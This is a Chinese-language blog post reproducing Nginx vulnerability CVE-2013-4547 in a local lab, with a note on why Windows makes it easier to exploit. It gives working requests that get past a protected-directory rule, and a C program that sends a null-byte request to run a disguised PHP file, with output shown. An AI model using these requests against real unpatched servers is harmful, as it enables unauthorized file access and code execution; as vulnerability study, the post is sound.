每一个漏洞的面世都是软件开发者的无意和黑客/白客的有意的共同结晶,它们之中大多数的诞生都是在某位或某几位程序猿经历千辛万苦,体验重重空虚寂寞冷之后的产物,以至于每一个漏洞都是如此的身价不菲。能与这些高富帅们勾搭上是我一直以来的梦想,可惜当前能力和时间有限,只能拔一拔它们的裤腿,瞅准了一把抱住,再深情的来一句:土豪,我们做朋友吧。
今天出场的这位高富帅是CVE-2013-4547,属于Nginx 0.8.41至1.4.3版本和1.5.7之前的1.5.x版本中存在的安全漏洞,可以看到其影响面非常大,不愧为土豪大佬的身份。具体来说是Nginx程序验证包含未转义空格字符的请求URIs时存在逻辑错误,远程攻击者可以利用该漏洞绕过既定的配置限制,导致信息泄露、系统文件被修改、性能下降或中断资源访问。
漏洞危害利用是黑客针对软件的瑕疵,构造异常的运行环境,让软件的瑕疵暴露出来,从而获取非法利益。我个人认为漏洞危害利用有三个要素:
1,软件存在漏洞(瑕疵):所有软件都会有漏洞,如果没有漏洞,那说明还没发现,如果还足够称得上是软件的话。
2,构造漏洞暴露的条件:这个条件的构造应该是非常苛刻的,非常难的,如果很容易,那可能需要考虑一下,这个是否是后门,而不是漏洞。或者,好吧,也许真有这种情况,毕竟现在在培训学校里学习三天就开始写软件的人也有大把。
3,不当得利:我有八字真言:“玩玩而已,何必当真。”,一般人我不告诉他,得此精髓的人都被关在小黑屋里捡肥皂去了。
不说废话,下面看看如何借助CVE-2013-4547来干些坏事。纯理论学习啊,后果自负啊!说说可以啊,不要动手啊!
第一部分:信息泄漏,即通过该漏洞访问保护的文件。1,首先得找个有该漏洞的Nginx WebServer,我这里在CentOS 6.2环境下随便安装一个吧,
[root@localhost gqk]# tar xf nginx-1.4.0.tar.gz[root@localhost gqk]# cd nginx-1.4.0[root@localhost nginx-1.4.0]# ./configure --with-debug --without-http_rewrite_module[root@localhost nginx-1.4.0]# make & make install
configure的选项没什么特别的,加上debug只是方便调试,去除rewrite_module是因为我现在的环境没有pcre库,因为不影响这个漏洞,所以直接去掉了。
2,启动Nginx看看是否基本ok
[root@localhost nginx-1.4.0]# /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf
通过wget访问http://127.0.0.1
[root@localhost nginx-1.4.0]# wget –debug http://127.0.0.1
嗯,ok。
3,构造环境
根据注1的介绍,
a)我们需要修改Nginx配置文件,增加一个保护目录,该目录不让用户访问:
location /protected/ { deny all; }
修改了配置,所以需要重启Nginx:/usr/local/nginx/sbin/nginx -s reload
b)需要web目录下有一个带有空格的文件夹:
[root@localhost html]# ls -F50x.html dir1/ dir 2/ dir3 / index.html protected/[root@localhost html]# ls protectedsec.html
为了对比测试,我建立了四个文件夹(注意上面第一条命令,我给ls加了-F参数,所以如果是文件夹,它会在后面带上斜杠):
dir1:没有任何空格
“dir 2″:中间有个空格
“dir3 “:末尾有个空格
protected:保护目录,同时该目录下还有个sec.html的文件
c)构造请求构造的请求uri里的空格不能被编码,而浏览器或wget都会自动把空格编码为%20,因此我改用curl。
4,对比测试a)直接请求sec.html,当然是被拒绝的,因为我们配置了保护protected目录的策略:
[root@localhost ~]# curl "http://127.0.0.1/protected/sec.html"<html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.4.0</center></body></html>1b)构造特殊请求:1[root@localhost ~]# curl http://127.0.0.1/dir1/../protected/sec.html<html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.4.0</center></body></html>[root@localhost ~]# curl "http://127.0.0.1/dir 2/../protected/sec.html"<html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.4.0</center></body></html>[root@localhost ~]# curl "http://127.0.0.1/dir3 /../protected/sec.html"<h1>This is a secret document.<h1/>
看到了吗?第三个构造的请求成功突破Nginx的保护策略而获取到被保护目录下的文件内容。
5,实际可应用程度
从上面的描述可以看到,要触发这个漏洞需要好几个条件:
a)Nginx 0.8.41至1.4.3版本和1.5.7之前的1.5.x版本。这个容易有,毕竟涉及的版本有这么多。
b)需要WebServer管理员对目录的保护采用这种普通字符匹配的策略,如果是其他保护策略(比如^~或~*),则条件满足失败。因特网站点千千万万,通过搜索肯定还是有这样配置的Nginx WebServer站点。
c)需要文件名末尾带有空格的文件夹,其他形式失败。怎么做?通过WebServer里站点提供的上传服务(如果有的话),上传对应的文件夹或压缩文件(如果服务器有提供解压功能)到服务器,然后期望服务器存储时没有对上传文件进行重命名而保留了空格。这个,有点难,现在的Web应用应该都会对高危文件(上传文件)做处理,比如改名是起码的。但是,慢慢的抠吧,成功就在不远处,如你的女神一般,永远那么飘渺。。。不过,也有逆袭的,是吧。。。
第二部分:未授权执行,即让Php引擎执行非php文件。
1,根据注1的内容,上面介绍的只是CVE-2013-4547的其中一个应用,即查看保护数据。而CVE-2013-4547的另外一个应用是恶意脚本非法执行,下面以php脚本为例,具体来看。
配置Nginx+Php环境,Php现在很流行。
下载php源码进行安装
[root@localhost gqk]# tar xf php-5.5.33.tar.bz2[root@localhost gqk]# cd php-5.5.33[root@localhost php-5.5.33]# ./configure --enable-fpm[root@localhost php-5.5.33]# make[root@localhost php-5.5.33]# make install
注意configure带的选项,需要打开fpm,如果要开启其他功能,比如mysql,请使用–with-mysql=…选项。所有选项可以通过configure的–help查看。准备配置文件:
[root@localhost php-5.5.33]# cp php.ini-production /usr/local/etc/php.ini[root@localhost php-5.5.33]# mv /usr/local/etc/php-fpm.conf.default /usr/local/etc/php-fpm.conf[root@localhost php-5.5.33]# php-fpm[root@localhost php-5.5.33]# netstat -natp | grep 9000
如果可以grep到对应的php-fpm进程,说明php安装初步ok了。
需要重新编译Nginx,让它支持PCRE。
首先从http://www.pcre.org/下载pcre-8.38.tar.gz,然后三板斧./configure & make & make install安装。
如果后门Nginx出现找不到pcre库的报错,比如:
/usr/local/nginx/sbin/nginx: error while loading shared libraries: libpcre.so.1: cannot open shared object file: No such file or directory
那么可能需要在PCRE的configure时指定lib目录到/usr/lib64:
./configure –prefix=/usr –libdir=/usr/lib64
其次,重新编译Nginx就是在configure时不要带上–without-http_rewrite_module。修改Nginx配置文件,加上PHP支持:
location ~ \.php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params;}
最后,写个简单的test.php测试一下,
访问确保php正常解析。
2,构造环境
a)在默认配置下,Php-fpm只让php引擎执行php后缀的文件,因此第一个条件是要修改配置文件
/usr/local/etc/php-fpm.conf
把里面的limit_extensions设置为空。
; Note: set an empty value to allow all extensions.; Default Value: .phpsecurity.limit_extensions =
b)在web目录下新增一个文件”cve.jpg “(注意这是一个末尾带有空格的文件),内容为php代码:
<?phpecho "Illegal execution.";?>
c)我们构造一个伪造请求,请求的地址为”/cve.jpg \0.php”,注意两点:
i)其中的空格没有编码
ii)\0是一个字符,是零,是字符串的结束字符。
3,测试
伪造请求,因为我们要伪造的请求里包含有字符串的结束字符\0,因此curl命令貌似是不能用了,至少我暂时是还不知道怎么传递这个\0给curl命令,可能有办法,需要查手册。
不过因为我之前研究Nginx时,写过这样的Http请求代码来调试Nginx逻辑,所以先直接用这个可行的办法,代码如下:
/** * gcc -Wall -g -o bogus_request bogus_request.c */#include <sys/types.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <errno.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>#include <unistd.h>char req_header[] = "GET /cve.jpg \0.php HTTP/1.1\r\nUser-Agent: curl/7.19.7\r\nHost: 127.0.0.1\r\nAccept: */*\r\n\r\n";#define MAX_DATA_LEN (1024)char res_data[MAX_DATA_LEN];int main(int argc, char *const *argv){ int sockfd; struct sockaddr_in server_addr; if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1) { fprintf (stderr, "Socket error,%s\r\n", strerror (errno)); return -1; } bzero (&server_addr, sizeof (server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons (80); if(!inet_aton("127.0.0.1", &server_addr.sin_addr)) { fprintf (stderr, "Bad address:%s\r\n", strerror (errno)); close (sockfd); return -1; } if (connect (sockfd, (struct sockaddr *) (&server_addr), sizeof (struct sockaddr)) == -1) { fprintf (stderr, "Connect Error:%s\r\n", strerror (errno)); close (sockfd); return -1; } write (sockfd, req_header, sizeof(req_header) - 1); for (;;) { read (sockfd, res_data, MAX_DATA_LEN); printf ("res:%s", res_data); } close (sockfd); return 0;}
编译执行看结果:
[root@localhost ~]# gcc -Wall -g -o bogus_request bogus_request.c -O0[root@localhost ~]# ./bogus_request res:HTTP/1.1 200 OKServer: nginx/1.4.0Date: Wed, 23 Mar 2016 10:04:42 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.3312Illegal execution.0
可以看到我们成功利用漏洞欺骗Nginx误以为”cve.jpg \0.php”是一个Php脚本而传递给Php-fpm的Php引擎进行执行,而Php引擎在查找定位文件”cve.jpg \0.php”时又被\0截断,导致最终执行的脚本文件是”cve.jpg “。
4,实际可应用程度因为同样要构造文件名末尾带空格的文件,因此这个漏洞其实难以被真正利用。原因在前面提到过了,不再多说。不过这只是Linux下的情况,那Windows环境下又如何呢?
第三部分:Windows环境
这个漏洞在Windows环境下的利用价值就大大增强了,因为漏洞利用的前置条件”文件名末尾带空格的文件”不再需要。Windows下的API在读取文件时,会自动忽略对应文件名后的空格,也就是:
read “a.txt ” -> 实际读取的是文件”a.txt”
write “b.txt ” -> 实际写的是文件”b.txt”
下面是测试代码(VC6下测试,注2):
#include "stdafx.h"#include <windows.h> int main(int argc, char* argv[]){ HANDLE hFile = CreateFile("a.txt ",GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile ==INVALID_HANDLE_VALUE) { printf("openfailed!"); } else { printf("fileopened"); } CloseHandle(hFile); return 0;}
注意程序里用的是”a.txt “,而我们准备一个”a.txt”文件在对应路径下,上面的代码也可以正常打开,输出”fileopened”。事实上,在Windows的文件管理里,新建文件时,在文件名后带上空格,敲回车后生成的新文件文件名是没有带空格的,即被自动过滤掉了。也许就是和上面同样的原因。
正因为在Windows下去掉了这个最困难的前置条件,所以该漏洞的可利用程度就大大提高了。
第四部分:Nginx相关漏洞代码分析暂略,不想写了,囧。
注1:http://mailman.nginx.org/pipermail/nginx-announce/2013/000125.html?_ga=1.47291106.451110384.1458696222注2:http://drops.wooyun.org/tips/2006
转载请保留地址: http://www.lenky.info/archives/2016/04/2488或 http://lenky.info/?p=2488
备注:如无特殊说明,文章内容均出自Lenky个人的真实理解而并非存心妄自揣测来故意愚人耳目。由于个人水平有限,虽力求内容正确无误,但仍然难免出错,请勿见怪,如果可以则请留言告之,并欢迎来 信讨论。另外值得说明的是,Lenky的部分文章以及部分内容参考借鉴了网络上各位网友的热心分享,特别是一些带有完全参考的文章,其后附带的链接内容也许更直接、更丰富,而我只是做了一下归纳&转述,在此也一并表示感谢。关于本站的所有技术文章,欢迎转载,但请遵从 CC创作共享协议,而一些私人性质较强的心情随笔,建议不要转载。
法律:根据最新颁布的《信息网络传播权保护条例》,如果您认为本文章的任何内容侵犯了您的权利,请以 Email或书面等方式告知,本站将及时删除相关内容或链接。